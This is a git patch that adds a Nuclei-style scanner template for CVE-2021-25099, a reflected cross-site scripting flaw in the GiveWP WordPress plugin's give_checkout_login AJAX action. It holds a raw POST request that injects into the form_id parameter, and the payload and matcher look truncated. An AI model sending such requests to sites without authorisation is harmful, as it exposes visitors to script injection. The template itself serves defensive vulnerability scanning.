From b663ad7b1c596f1d8470960072e6f38082e773f0 Mon Sep 17 00:00:00 2001
From: Aman Rawat <35992750+theamanrawat@users.noreply.github.com>
Date: Mon, 12 Dec 2022 21:53:16 +0530
Subject: [PATCH] Create CVE-2021-25099.yaml
---
cves/2021/CVE-2021-25099.yaml | 37 +++++++++++++++++++++++++++++++++++
1 file changed, 37 insertions(+)
create mode 100644 cves/2021/CVE-2021-25099.yaml
diff --git a/cves/2021/CVE-2021-25099.yaml b/cves/2021/CVE-2021-25099.yaml
new file mode 100644
index 0000000000..0ca41bb764
--- /dev/null
+++ b/cves/2021/CVE-2021-25099.yaml
@@ -0,0 +1,37 @@
+id: CVE-2021-25099
+
+info:
+ name: Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting
+ author: theamanrawat
+ severity: medium
+ description: |
+ The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
+ reference:
+ - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
+ - https://wordpress.org/plugins/give/
+ - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2021-25099
+ cwe-id: CWE-79
+ metadata:
+ verified: "true"
+ tags: cve,cve2021,xss,wpscan,wordpress,wp-plugin,give,unauth
+
+requests:
+ - raw:
+ - |
+ POST /wp-admin/admin-ajax.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+ action=give_checkout_login&form_id=xxxxxx">
+
+ matchers:
+ - type: dsl
+ dsl:
+ - 'status_code == 200'
+ - 'contains(content_type, "text/html")'
+ - 'contains(body, "")'
+ condition: and